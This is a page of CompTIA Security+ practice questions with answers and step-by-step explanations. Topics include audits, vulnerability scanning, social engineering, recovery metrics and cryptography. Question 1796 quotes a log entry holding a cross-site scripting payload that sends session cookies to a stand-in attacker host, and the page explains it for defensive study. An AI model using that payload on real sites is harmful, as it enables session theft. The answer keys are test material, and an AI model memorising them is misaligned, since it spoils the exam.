All practice questions

2232 questions

Question 1781Question

A software technology vendor has established a formal Information Security Management System (ISMS) to safeguard its cloud services. To satisfy international enterprise clients requiring proof of security compliance and receive an officially recognized certificate, the vendor must undergo an independent third-party evaluation. Which of the following activities should the vendor initiate?

Show answer & explanation

Answer: An ISO/IEC 27001 Stage 2 audit conducted by an accredited external certification body

Answer

An ISO/IEC 27001 Stage 2 audit conducted by an accredited external certification body
The correct answer specifies an ISO/IEC 27001 Stage 2 audit conducted by an accredited external certification body. ISO/IEC 27001 certification requires a two-stage independent audit: Stage 1 reviews documentation readiness, and Stage 2 assesses the actual operational effectiveness and compliance of the Information Security Management System (ISMS) to grant official certification.

Step-by-Step Solution

1
Identify the organizational objective described in the scenario
The vendor needs an officially recognized international security certification for its overall Information Security Management System (ISMS).
Enterprise clients require independent verification that security governance aligns with recognized international standards.
2
Evaluate the requirement for auditor independence and audit scope
Self-assessments and internal reviews lack external independence, while technical vulnerability scans only evaluate technical asset posture rather than holistic ISMS processes.
Formal attestation and certification require an accredited external certification body to perform a comprehensive audit.
3
Select the deliverable that matches formal ISMS certification
An ISO/IEC 27001 Stage 2 audit is the formal evaluation step where an accredited Registrar verifies operational compliance and grants official certification.
Stage 2 audits evaluate the effective implementation of controls within the ISMS framework.

Key Concept

Independent Third-Party Audits and Security Certifications
Question 1782Question

Match each vulnerability scanning methodology with its corresponding operational description and primary enterprise use case.

Click a left item, then click its matching right item

Items

Credentialed Network Scan
Non-Credentialed Network Scan
Passive Network Assessment
Agent-Based Vulnerability Scan

Matches

Show answer & explanation

Answer

Credentialed Network Scan pairs with host authentication and administrative auditing; Non-Credentialed Network Scan pairs with unauthenticated port/banner probing; Passive Network Assessment pairs with traffic mirror/TAP monitoring; Agent-Based Vulnerability Scan pairs with persistent local service execution for off-network endpoints.
The pairings correctly match each scanning approach with its distinct operation: Credentialed scans require host logins to audit internal configurations; Non-Credentialed scans assess external visibility without credentials; Passive assessments mirror traffic without sending packets; and Agent-based scans use local host software for continuous oversight of mobile assets.

Step-by-Step Solution

1
Identify authentication requirement levels for network-based scans.
Match credentialed scanning to administrative login probing and non-credentialed scanning to unauthenticated perimeter surface probing.
Authentication determines whether the scanner can inspect internal host state or only externally visible network behavior.
2
Evaluate traffic generation impact (active active vs passive listening).
Match passive network assessment to non-intrusive traffic monitoring via SPAN or TAP ports.
Passive monitoring observes existing packet flows without sending probes into the network.
3
Differentiate network-centric assessment from host-resident telemetry collection.
Match agent-based scanning to local persistent software services capable of auditing disconnected or roaming hosts.
Agents execute locally on the target operating system, removing reliance on active network scanning connections.

Key Concept

Vulnerability Assessment Methodologies and Scan Configuration Types
Question 1783Question

An enterprise system administrator receives an unsolicited telephone call from an individual claiming to represent the organization's central data center team. The caller states that an emergency database synchronization failure is occurring and demands that the administrator immediately provide their two-factor authentication bypass code to prevent widespread data loss. Which social engineering attack vector is the caller primarily utilizing?

Show answer & explanation

Answer: Vishing

Answer

The correct answer is vishing, as the attack relies on voice communication over the telephone combined with an urgent pretext.
The attack relies on an interactive voice phone call to manipulate the victim into exposing sensitive multi-factor authentication credentials under the guise of an urgent technical issue. This directly defines vishing (voice phishing).

Step-by-Step Solution

1
Identify the communication medium used by the attacker in the scenario.
The attack occurs via an unsolicited telephone call.
The medium (voice call vs SMS vs email vs web) distinguishes primary social engineering attack vector categories.
2
Analyze the adversary's tactic and psychological trigger.
The attacker creates a fake technical emergency (pretexting) to create urgency over a phone call.
Voice-based social engineering combined with scenario-based pretexting defines voice phishing (vishing).
3
Select the social engineering term matching voice-based communication.
Vishing is the correct classification.
Vishing specifically denotes phishing attacks conducted over voice telephone systems.

Key Concept

Vishing and Voice-Based Pretexting Attacks
Question 1784Question

A hospital network completes a Business Impact Analysis (BIA) for its critical electronic health records (EHR) database. The BIA determines that patient care workflows can tolerate a maximum system outage of 4 hours before safety is severely compromised. However, to prevent clinical record corruption and medication errors, the hospital can sustain a maximum of 15 minutes of unrecoverable transactional data loss. When configuring the disaster recovery architecture, which threshold specifically dictates the required database backup/replication frequency, and what is its correct definition?

Show answer & explanation

Answer: Recovery Point Objective (RPO), which defines the maximum acceptable period of data loss measured in time.

Answer

The threshold that dictates database replication frequency is the Recovery Point Objective (RPO), which defines the maximum acceptable period of data loss measured in time.
The correct answer identifies Recovery Point Objective (RPO) as the metric defining the maximum acceptable period of data loss measured in time. In the scenario, the 15-minute data loss constraint specifies the RPO, meaning database synchronizations or backups must occur at least every 15 minutes so that an unexpected failure results in no more than 15 minutes of missing records.

Step-by-Step Solution

1
Differentiate between outage duration metrics and data loss metrics in the scenario.
The 4-hour limit represents the allowable system downtime (RTO/MTD), while the 15-minute limit represents the maximum allowable lost data timeframe.
BIA metrics separate operational downtime limits from data currency limits.
2
Identify the metric corresponding to the 15-minute data loss threshold.
The maximum acceptable data loss timeframe of 15 minutes defines the Recovery Point Objective (RPO).
RPO measures data freshness and determines how frequently backups or database synchronizations must execute.
3
Evaluate option definitions to ensure correct alignment of metric name and functional definition.
Recovery Point Objective (RPO) correctly describes the maximum acceptable period of data loss measured in time.
RTO focuses on recovery speed and service restoration timing, whereas RPO dictates data replication frequency.

Key Concept

Recovery Point Objective (RPO) vs. Recovery Time Objective (RTO)
Question 1785Question

A Security Operations Center (SOC) analyst receives a high-severity intrusion detection alert indicating an unusual volume of outbound DNS queries containing randomized long subdomains. Arrange the following security operations steps in the correct chronological sequence from initial alert triage to network-wide remediation.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence begins with analyzing packet captures and NSM logs to inspect the DNS payloads (Step 1), followed by correlating endpoint logs to confirm a true positive (Step 2), isolating the affected system to halt exfiltration (Step 3), and finally implementing DNS sinkhole and firewall blocks across the enterprise (Step 4).
The correct workflow follows standard network security operations methodology: initial traffic analysis (inspecting packet captures to determine payload indicators), true positive validation (correlating host process activity), targeted host containment (isolating the endpoint to stop data exfiltration), and broader organizational mitigation (updating firewall blocks and DNS sinkholes).

Step-by-Step Solution

1
Analyze network security monitoring logs and PCAP files.
Identified anomalous DNS TXT payload structures and target domain names.
Triage begins at the network level to understand the scope and signature of the alert.
2
Correlate network data with endpoint activity logs.
Confirmed an unauthorized executable generating DNS queries on a specific host.
Validation prevents taking destructive containment measures based on false positives.
3
Isolate the compromised system from the network segment.
Active DNS tunneling exfiltration session terminated.
Host containment prevents further exfiltration while preserving forensic evidence.
4
Apply perimeter firewall blocks and update DNS sinkhole configurations.
Blocked command-and-control and exfiltration domains organization-wide.
Mitigation controls ensure no other host on the network can communicate with the attacker infrastructure.

Key Concept

Network Security Monitoring Alert Triage and Incident Containment Lifecycle
Question 1786Question

A multinational retail company is standardizing the operational security of its point-of-sale (POS) systems across hundreds of physical store locations. The security committee requires a document that establishes the mandatory minimum technical security settings, such as disabling legacy protocols and enforcing specific firewall port rules, that every POS device must continuously meet. Which of the following governance document types best satisfies this requirement?

Show answer & explanation

Answer: Security baseline

Answer

A security baseline is the governance document type that establishes mandatory minimum technical security settings and configurations for specific systems.
A security baseline defines the minimum required security configuration parameters that a specific class of system or device (such as POS terminals) must satisfy to maintain compliance. It ensures consistent hardening and baseline controls across all deployments.

Step-by-Step Solution

1
Analyze the scenario requirements
The requirement specifies mandatory minimum technical security settings (e.g., protocol choices, port rules) for a specific system type (POS terminals).
Governance documents serve distinct roles based on whether they specify high-level intent, specific operational steps, discretionary advice, or minimum technical configurations.
2
Map the requirement to governance hierarchy concepts
Minimum required technical security settings represent a hardware/software baseline.
Baselines act as the standard minimum hardening standard that systems must satisfy before deployment and maintain throughout operation.
3
Evaluate alternative options against the requirement
Guidelines are optional, policies set high-level direction or behavioral expectations, and procedures detail step-by-step actions.
Only a security baseline focuses explicitly on enforcing fixed minimum technical parameters across target host environments.

Key Concept

Security Baseline Configurations within Security Governance Frameworks
Question 1787Question

A security administrator is updating the enterprise baseline controls for data protection across various infrastructure layers. Match each cryptographic mechanism on the left with its primary operational security function on the right.

Click a left item, then click its matching right item

Items

Elliptic Curve Diffie-Hellman Ephemeral (ECDHE)
Hash-based Message Authentication Code (HMAC)
Password-Based Key Derivation Function 2 (PBKDF2)
ChaCha20-Poly1305

Matches

Show answer & explanation

Answer

ECDHE pairs with establishing ephemeral keys for perfect forward secrecy; HMAC pairs with combining a secret key and hash for message authentication and integrity; PBKDF2 pairs with key stretching user passwords to resist offline brute-force attacks; ChaCha20-Poly1305 pairs with low-overhead authenticated bulk encryption for constrained hardware.
Elliptic Curve Diffie-Hellman Ephemeral (ECDHE) provides perfect forward secrecy by generating temporary session keys. Hash-based Message Authentication Code (HMAC) verifies message integrity and source authenticity by combining a secret key with a hash function. Password-Based Key Derivation Function 2 (PBKDF2) performs key stretching by hashing passwords over thousands of iterations to slow offline cracking. ChaCha20-Poly1305 is a high-speed AEAD stream cipher optimized for mobile and embedded devices.

Step-by-Step Solution

1
Analyze ECDHE capabilities
Identify that ephemeral key exchange mechanisms guarantee perfect forward secrecy during transport layer negotiations.
Temporary keys ensure compromise of long-term keys does not decrypt past sessions.
2
Analyze HMAC capabilities
Identify that combining secret key material with hashing yields authentication and integrity verification.
Standard cryptographic hashes provide integrity, but adding a secret key (HMAC) adds sender authenticity.
3
Analyze PBKDF2 capabilities
Identify that password-based key derivation functions implement key stretching.
Repeated iteration adds artificial computation time, making brute-force cracking prohibitively slow.
4
Analyze ChaCha20-Poly1305 capabilities
Identify stream cipher AEAD suitable for resource-constrained platforms.
ChaCha20 is designed to run efficiently in software on systems lacking hardware AES acceleration.

Key Concept

Cryptographic Primitives and Functional Applications
Question 1788Question

During a routine security audit, an incident handler observes that several software developers in a research division were redirected to a compromised third-party technical discussion forum they frequently visit. The compromised forum silently downloaded a malicious browser extension to harvest API tokens used in the company's continuous integration pipeline. Which of the following social engineering techniques best describes this initial access vector?

Show answer & explanation

Answer: Watering hole attack

Answer

Watering hole attack
A watering hole attack occurs when an adversary anticipates the web resources a specific target group frequents, compromises one or more of those websites, and uses them to infect visitors from the target organization.

Step-by-Step Solution

1
Analyze the attack delivery medium described in the scenario.
The attack compromised a legitimate third-party website (a technical discussion forum) that a targeted group (research division developers) routinely visits.
Identifying whether the attack used direct communication, physical devices, or a shared compromised web resource determines the specific attack vector.
2
Compare the scenario details against social engineering attack definitions.
Compromising a specific site frequented by targets to deliver malware without direct message interaction defines a watering hole attack.
Watering hole attacks leverage implicit trust in established community resources rather than direct email or telephone solicitation.

Key Concept

Watering Hole Attack Identification
Estimated Time:1m 15s
Question 1789Question

An enterprise risk assessment identifies that an internal enterprise resource planning (ERP) database has an Asset Value (AVAV) of $600,000\$600,000. Historical security data indicates an Annual Rate of Occurrence (AROARO) of 0.20.2 for unauthorized data extraction threats targeting this database. The overall calculated Annual Loss Expectancy (ALEALE) for this vulnerability is $48,000\$48,000. Which of the following represents the Exposure Factor (EFEF) for this asset under the given threat scenario?

Show answer & explanation

Answer: 40%

Answer

40%
The Exposure Factor (EFEF) measures the percentage of asset value lost in a single threat event. Using quantitative risk relationships, Single Loss Expectancy (SLESLE) is computed as SLE=ALEARO=$48,0000.2=$240,000SLE = \frac{ALE}{ARO} = \frac{\$48,000}{0.2} = \$240,000. Substituting SLESLE into EF=SLEAVEF = \frac{SLE}{AV} gives $240,000$600,000=0.40\frac{\$240,000}{\$600,000} = 0.40, or 40%40\%.

Step-by-Step Solution

1
Calculate Single Loss Expectancy (SLE) from Annual Loss Expectancy (ALE) and Annual Rate of Occurrence (ARO).
SLE=ALEARO=$48,0000.2=$240,000SLE = \frac{ALE}{ARO} = \frac{\$48,000}{0.2} = \$240,000
The quantitative risk formula establishes that ALE=SLE×AROALE = SLE \times ARO.
2
Calculate Exposure Factor (EF) from Single Loss Expectancy (SLE) and Asset Value (AV).
EF=SLEAV=$240,000$600,000=0.40EF = \frac{SLE}{AV} = \frac{\$240,000}{\$600,000} = 0.40 or 40%40\%
Single Loss Expectancy is defined as SLE=AV×EFSLE = AV \times EF.

Key Concept

Quantitative Risk Assessment Variables and Formulas (ALE=SLE×AROALE = SLE \times ARO and SLE=AV×EFSLE = AV \times EF)
Question 1790Question

A security analyst conducts a scheduled credentialed vulnerability scan against a cluster of Windows servers. Although the scan completes without generating network connectivity errors, the resulting report indicates zero missing operating system patches, despite known unpatched software being present on the servers. A review of the scanner audit logs shows that initial SMB authentication succeeded, but subsequent administrative probes failed when accessing remote management interfaces. Which of the following best explains why the vulnerability scanner produced incomplete results?

Show answer & explanation

Answer: The service account configured for the scan lacked sufficient privileges to query the remote registry and file system.

Answer

The service account configured for the scan lacked sufficient privileges to query the remote registry and file system.
Credentialed vulnerability scans require administrative-level authorization on target hosts to perform complete file system and registry audits. When a scanner logs in with a standard non-administrative account, the network authentication phase succeeds (e.g., SMB connection on port 445), but subsequent queries to system registries and patch catalogs are denied. This produces incomplete scan results and false negatives regarding missing updates.

Step-by-Step Solution

1
Analyze the scanner log details provided in the scenario.
Identify that SMB authentication succeeded, but detailed system probing failed.
Successful SMB authentication indicates that network ports are open and basic account credentials are valid.
2
Evaluate permission requirements for credentialed host audits.
Recognize that inspecting Windows patch levels requires local administrative privileges (such as access to Remote Registry and WMI).
Standard non-administrative accounts are restricted from reading sensitive system hives and patch registries, causing false negative results.
3
Identify the primary root cause matching the scan behavior.
Determine that insufficient account privileges prevented complete vulnerability assessment.
Granting proper administrative rights to the scan service account resolves authorization bottlenecks during deep host probing.

Key Concept

Credentialed Vulnerability Scanning Authorization Requirements
Question 1791Question

An enterprise risk manager is conducting a gap analysis across global business units to establish baseline legal and contractual compliance controls. Match each regulatory or industry framework to its primary operational scope and data protection mandate.

Click a left item, then click its matching right item

Items

General Data Protection Regulation (GDPR)
Health Insurance Portability and Accountability Act (HIPAA)
Payment Card Industry Data Security Standard (PCI-DSS)
Sarbanes-Oxley Act (SOX)

Matches

Show answer & explanation

Answer

General Data Protection Regulation (GDPR) matches the extraterritorial law governing personal data for EU residents; Health Insurance Portability and Accountability Act (HIPAA) matches the protection of Protected Health Information (PHI) for covered entities; Payment Card Industry Data Security Standard (PCI-DSS) matches the contractual baseline for processing Primary Account Numbers (PAN); Sarbanes-Oxley Act (SOX) matches internal financial reporting and auditing controls for US public companies.
Each framework targets a distinct compliance domain: GDPR covers EU personal data privacy regardless of processor location; HIPAA mandates PHI protection for healthcare entities; PCI-DSS sets contractual requirements for credit card data (PAN); and SOX governs corporate financial record integrity and reporting.

Step-by-Step Solution

1
Analyze data classifications and jurisdictional boundaries for each framework.
Identified PHI, PAN/CHD, corporate financial telemetry, and EU resident personal data.
Regulatory compliance requirements are categorized primarily by data type and legal jurisdiction.
2
Map legal mandates versus industry contractual standards.
PCI-DSS is identified as an industry contractual baseline, while GDPR, HIPAA, and SOX are statutory legislative mandates.
Differentiating statutory requirements from contractual obligations prevents misapplication of penalty frameworks during audit assessments.
3
Align each mandate with its exact functional definition.
GDPR correlates to EU personal data, HIPAA to PHI, PCI-DSS to cardholder data, and SOX to internal financial controls.
Demonstrates comprehensive knowledge of regulatory scope and compliance governance.

Key Concept

Regulatory Scope and Legal Data Classifications
Question 1792Question

An IT administrator is deploying multiple internal web applications under subdomains of an enterprise domain (such as `hr.corp.example.com` and `finance.corp.example.com`). To simplify administrative overhead and ensure all current and future first-level subdomains are secured under a single TLS certificate issued by the internal Certificate Authority, which of the following certificate features should be specified during the Certificate Signing Request (CSR) process?

Show answer & explanation

Answer: A wildcard domain entry configured within the Subject Alternative Name (SAN) extension

Answer

A wildcard domain entry configured within the Subject Alternative Name (SAN) extension should be requested during CSR creation.
Specifying a wildcard domain (e.g., `*.corp.example.com`) in the Subject Alternative Name (SAN) extension allows a single certificate to authenticate all first-level subdomains under the specified domain. Modern clients require domain names and wildcard aliases to be declared in the SAN extension to pass validation checks.

Step-by-Step Solution

1
Identify the administrative requirement
The requirement is to secure multiple subdomains (`hr.corp.example.com`, `finance.corp.example.com`) under a single certificate without issuing separate certificates for each hostname.
Issuing a single certificate reduces administrative complexity and certificate maintenance overhead.
2
Evaluate PKI certificate attributes and extensions
A wildcard notation (`*.corp.example.com`) in the Subject Alternative Name (SAN) field permits any host matching that single subdomain level to present the certificate validly.
Modern TLS implementations and web browsers mandate the SAN extension for hostname matching.

Key Concept

Public Key Infrastructure - Wildcard Certificates and SAN Extensions
Estimated Time:1m 0s
Question 1793Question

Match each enterprise data governance role on the left with its primary responsibility on the right.

Click a left item, then click its matching right item

Items

Data Owner
Data Custodian
Data Protection Officer (DPO)
Data Processor

Matches

Show answer & explanation

Answer

Data Owner pairs with defining classification and access policies; Data Custodian pairs with implementing technical safeguards and backups; Data Protection Officer (DPO) pairs with overseeing privacy compliance and regulatory liaison; Data Processor pairs with processing data on behalf of a controller.
Each role corresponds strictly to CompTIA Security+ data governance principles: Data Owners govern classification and usage rules; Data Custodians manage practical technical controls and infrastructure; Data Protection Officers ensure legal compliance and regulatory reporting; and Data Processors handle data on behalf of controllers.

Step-by-Step Solution

1
Identify the role holding strategic business accountability for data governance.
Connect Data Owner to defining data classification, access rights, and retention rules.
The data owner has legal and organizational authority over how data assets are categorized and retained.
2
Identify the operational role responsible for technical implementation.
Connect Data Custodian to managing technical safeguards, system administration, and data backups.
Custodians execute technical controls in support of the policies established by data owners.
3
Distinguish independent regulatory oversight from delegated data processing operations.
Connect DPO to privacy compliance oversight and Data Processor to processing data strictly under controller instructions.
Data protection frameworks explicitly separate regulatory compliance oversight (DPO) from third-party operational processing (Processor).

Key Concept

Data Governance Roles and Responsibilities
Estimated Time:1m 0s
Question 1794Question

Match each vulnerability assessment methodology with its most appropriate enterprise operational deployment scenario.

Click a left item, then click its matching right item

Items

Credentialed Vulnerability Scanning
Non-Credentialed Vulnerability Scanning
Agent-Based Scanning
Passive Network Assessment

Matches

Show answer & explanation

Answer

Credentialed Vulnerability Scanning pairs with internal configuration and patch auditing; Non-Credentialed Vulnerability Scanning pairs with perimeter external attacker perspective evaluation; Agent-Based Scanning pairs with continuous visibility for remote and transient endpoints; Passive Network Assessment pairs with traffic monitoring for sensitive OT/SCADA systems.
Credentialed vulnerability scanning delivers accurate internal patch and software configuration details using privilege-based access. Non-credentialed scanning replicates external threat actor visibility by testing open ports and services without user credentials. Agent-based scanning ensures continuous host monitoring regardless of endpoint network attachment. Passive network assessment monitors network packet streams safely without generating active traffic that could disrupt sensitive OT hardware.

Step-by-Step Solution

1
Analyze Credentialed Scanning requirements
Requires authentication to query host OS internals and software inventory.
Allows deep host inspection with low false positives.
2
Analyze Non-Credentialed Scanning capabilities
Probes exposed services over the network without logging in.
Simulates external adversary visibility.
3
Analyze Agent-Based Scanning advantages
Executes audits directly on local endpoint hardware.
Provides coverage for mobile devices that do not regularly attach to the local network.
4
Analyze Passive Assessment constraints
Listens to packet flows on span/mirror ports without transmitting probes.
Prevents system disruption on fragile industrial control systems.

Key Concept

Vulnerability Assessment Methodologies and Use Cases
Question 1795Question

An organization plans to establish a direct network link with a key business partner to facilitate automated data synchronization. Before enabling the connection, the security team must document the specific technical security controls, interface configurations, and encryption standards governing the direct link. Which of the following agreements should be established to define these technical parameters?

Show answer & explanation

Answer: Interconnection Security Agreement (ISA)

Answer

Interconnection Security Agreement (ISA)
An Interconnection Security Agreement (ISA) specifies the technical and security requirements for establishing a dedicated connection between two distinct organizations' networks, including protocol requirements, encryption, and security boundaries.

Step-by-Step Solution

1
Analyze the operational requirement described in the scenario.
The goal is to document technical security controls, encryption, and interface requirements for a direct network connection between two enterprise networks.
Establishing direct network links introduces third-party connectivity risks that require dedicated technical documentation.
2
Evaluate agreement types against the requirement.
An Interconnection Security Agreement (ISA) is designed specifically to define technical parameters and security controls for interconnecting distinct networks.
Other agreement types address general intent, financial partnerships, or service performance metrics.

Key Concept

Interconnection Security Agreement (ISA) for Third-Party Risk Management
Question 1796Question

A security analyst is investigating a high-severity alert generated by a Network Intrusion Detection System (NIDS) positioned at an internal network segment boundary. The NIDS alert log records the following HTTP request event:

2026-07-27T10:14:22Z NIDS_ALERT [ID: 8042911]
SRC: 192.168.10.44:51204 -> DST: 10.1.20.15:80
PROTO: TCP HTTP/1.1
PAYLOAD: GET /profile.php?user=<script>document.location='http://badactor.net/collect.php?cookie='+document.cookie</script> HTTP/1.1
HOST: app-server01.internal.corp
USER-AGENT: Mozilla/5.0

Based on the log entry, which of the following correctly identifies the specific attack threat vector and the most effective inline network control to prevent subsequent payload execution?

Show answer & explanation

Answer: Cross-Site Scripting (XSS); implement a Web Application Firewall (WAF) or Network Intrusion Prevention System (NIPS) inline inspect rule.

Answer

The attack vector is Cross-Site Scripting (XSS), and the most effective inline mitigation control is deploying a Web Application Firewall (WAF) or Network Intrusion Prevention System (NIPS) to filter malicious application-layer HTTP payloads.
The log payload contains a client-side JavaScript snippet (`<script>document.cookie...`) designed to steal session credentials, which defines a Cross-Site Scripting (XSS) attack. To actively block this threat at the network level without bringing down web service functionality, an inline application-layer control such as a Web Application Firewall (WAF) or Network Intrusion Prevention System (NIPS) is required.

Step-by-Step Solution

1
Analyze the captured NIDS payload log snippet
The URL query parameter contains embedded HTML/JavaScript code (<script>document.location='http://badactor.net/collect.php?cookie='+document.cookie</script>) targeting client session cookies.
Identifying executable client-side scripts within HTTP parameters differentiates Cross-Site Scripting (XSS) from database query manipulation (SQLi).
2
Evaluate required security control capability
The security control must inspect Layer 7 HTTP application payloads inline to block malicious script vectors without disrupting legitimate web traffic.
Passive out-of-band sensors (such as TAPs) cannot drop packets, and layer 3/4 firewalls or router ACLs cannot inspect deep application parameters.
3
Select the appropriate network mitigation solution
A Web Application Firewall (WAF) or Network Intrusion Prevention System (NIPS) operating inline provides real-time HTTP payload inspection and filtering.
Inline application-layer security tools parse URI queries and prevent malicious scripts from reaching vulnerable endpoints.

Key Concept

Cross-Site Scripting (XSS) Detection and Application Layer Security Monitoring
Question 1797Question

A healthcare organization is preparing to contract with a third-party Cloud Service Provider (CSP) to host electronic protected health information. During the vendor onboarding security review, the organization must establish ongoing oversight and technical verification of the provider's security controls across the contract lifecycle. Which of the following strategies should the organization enforce to validate third-party security posture and maintain supply chain governance? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Require the vendor to provide annual SOC 2 Type II reports to evaluate the operational effectiveness of security controls over time.; Incorporate contractual right-to-audit clauses and continuous monitoring requirements into the Service Level Agreement (SLA).

Answer

The organization must require annual SOC 2 Type II audit reports and incorporate contractual right-to-audit clauses along with continuous monitoring requirements.
Effective supply chain risk management relies on independent attestation and enforceable contractual oversight. SOC 2 Type II reports evaluate control operating effectiveness over a extended period, verifying that security practices are functioning consistently over time. Additionally, contractual right-to-audit provisions combined with continuous monitoring give the organization the legal authority and capability to inspect third-party controls and track security posture changes over the agreement lifetime.

Step-by-Step Solution

1
Analyze third-party risk verification requirements
Effective governance requires both independent attestation of control operating effectiveness over time and contractual rights to inspect or continuously monitor vendor risk posture.
Point-in-time attestations or non-binding agreements do not provide adequate governance for sensitive cloud environments.
2
Evaluate third-party audit report types
SOC 2 Type II reports review operational effectiveness over a testing window, whereas SOC 2 Type I reports only assess control suitability at a single timestamp.
Ongoing verification requires a Type II evaluation to confirm controls worked consistently over time.
3
Select contractual and oversight mechanisms
Including right-to-audit clauses ensures the organization maintains legal access to request security evidence, conduct assessments, or mandate metrics reporting within SLAs.
Contractual enforcement mechanisms ensure third parties remain accountable to enterprise security standards.

Key Concept

Third-Party Oversight, SOC Reports, and Right-to-Audit Provisions
Question 1798Question

An enterprise energy grid operator is restructuring its security governance documentation hierarchy. Match each governance document type on the left with its corresponding operational and enforcement characteristic on the right.

Click a left item, then click its matching right item

Items

Security Policy
Security Standard
Security Baseline
Security Guideline

Matches

Show answer & explanation

Answer

Security Policy matches the high-level executive mandate; Security Standard matches the compulsory technical requirement; Security Baseline matches the minimum required configuration benchmark; Security Guideline matches the discretionary recommendation.
In formal security governance, documents are categorized by scope and enforcement authority. Security Policies set executive intent and broad goals. Security Standards define mandatory requirements and mandatory technical specs. Security Baselines define the minimum required hardening state for systems prior to production release. Security Guidelines provide voluntary advice and best practices for staff.

Step-by-Step Solution

1
Identify the authority and enforcement level of a Security Policy.
Recognize that policies set high-level executive direction and scope.
Policies are broad governance directives created by management to outline security vision and roles.
2
Distinguish between mandatory technical requirements (Standards) and minimum operational configurations (Baselines).
Standards enforce specific mandatory tools/protocols, whereas Baselines define the minimum secure baseline configuration.
Standards mandate specific requirements enterprise-wide, while baselines represent a concrete minimum secure starting state.
3
Differentiate discretionary documentation (Guidelines) from mandatory controls.
Identify Guidelines as voluntary recommendations.
Guidelines provide flexiblity and suggestions rather than strict compliance obligations.

Key Concept

Security Governance Documentation Hierarchy and Enforcement Levels
Question 1799Question

Match each social engineering attack vector to its corresponding real-world enterprise incident scenario.

Click a left item, then click its matching right item

Items

Whaling
Pretexting
Shoulder surfing
Diversion theft

Matches

Show answer & explanation

Answer

Whaling matches the CEO wire transfer targeting scenario; Pretexting matches the fake recruiter phone call scenario; Shoulder surfing matches the visual observation of credential entry scenario; Diversion theft matches the rerouted physical hardware delivery scenario.
Whaling explicitly targets C-level executives (such as a Chief Executive Officer). Pretexting involves creating a believable false story or role (such as a recruiter) to manipulate the victim. Shoulder surfing relies on visually spying on credential entries or confidential displays. Diversion theft manipulates delivery routes or physical couriers to misdirect incoming or outgoing physical goods.

Step-by-Step Solution

1
Analyze each social engineering attack term and identify its primary operating characteristic.
Whaling targets senior executives; Pretexting uses constructed narratives; Shoulder surfing uses direct visual observation; Diversion theft manipulates physical delivery logistics.
Distinguishing between target roles, media, and physical mechanisms allows accurate classification.
2
Map each term to the enterprise scenario that exhibits its specific behavioral indicator.
Whaling pairs with the CEO email; Pretexting pairs with the recruiter phone scenario; Shoulder surfing pairs with optical passcode viewing; Diversion theft pairs with altered courier paperwork.
Matching each vector to its distinct attack indicator ensures precise threat identification.

Key Concept

Social Engineering Attacks and Vectors
Question 1800Question

An enterprise cloud security architect is defining business continuity parameters for a mission-critical billing microservice following a Business Impact Analysis (BIA). Match each continuity metric on the left with its precise operational boundary definition on the right.

Click a left item, then click its matching right item

Items

Recovery Point Objective (RPO)
Recovery Time Objective (RTO)
Maximum Tolerable Downtime (MTD)
Work Recovery Time (WRT)

Matches

Show answer & explanation

Answer

Recovery Point Objective (RPO) matches the maximum acceptable age of unrecovered data; Recovery Time Objective (RTO) matches the targeted duration allocated to restore system functionality; Maximum Tolerable Downtime (MTD) matches the absolute maximum elapsed time a service can remain offline before fatal harm; and Work Recovery Time (WRT) matches the timeframe needed for post-restoration testing and data verification.
Each business continuity term describes a distinct timeline element in BIA planning. Recovery Point Objective defines allowable data loss span; Recovery Time Objective defines system restoration speed goals; Maximum Tolerable Downtime sets the non-negotiable total outage ceiling; and Work Recovery Time represents the testing phase necessary after technical restoration.

Step-by-Step Solution

1
Analyze the data loss constraint parameter.
Identify Recovery Point Objective (RPO) as the metric defining tolerable data loss measured back from the point of failure.
RPO quantifies backup frequency requirements to prevent exceeding data loss tolerances.
2
Analyze the technical recovery speed parameter.
Identify Recovery Time Objective (RTO) as the metric establishing technical system recovery limits.
RTO focuses strictly on infrastructure failover and server/application boot times.
3
Analyze the total business tolerance parameter.
Identify Maximum Tolerable Downtime (MTD) as the overarching ceiling for cumulative operational disruption (MTDRTO+WRTMTD \ge RTO + WRT).
Exceeding MTD results in catastrophic business failure or unrecoverable loss.
4
Analyze the validation and business readiness parameter.
Identify Work Recovery Time (WRT) as the buffer between technical system restoration and full business operation.
WRT guarantees systems are fully tested and synchronized before live user traffic resumes.

Key Concept

Business Impact Analysis (BIA) Metrics: RPO, RTO, MTD, and WRT relationships
PreviousPage 90 / 112Next
All practice questions — CompTIA Security+ | Examkin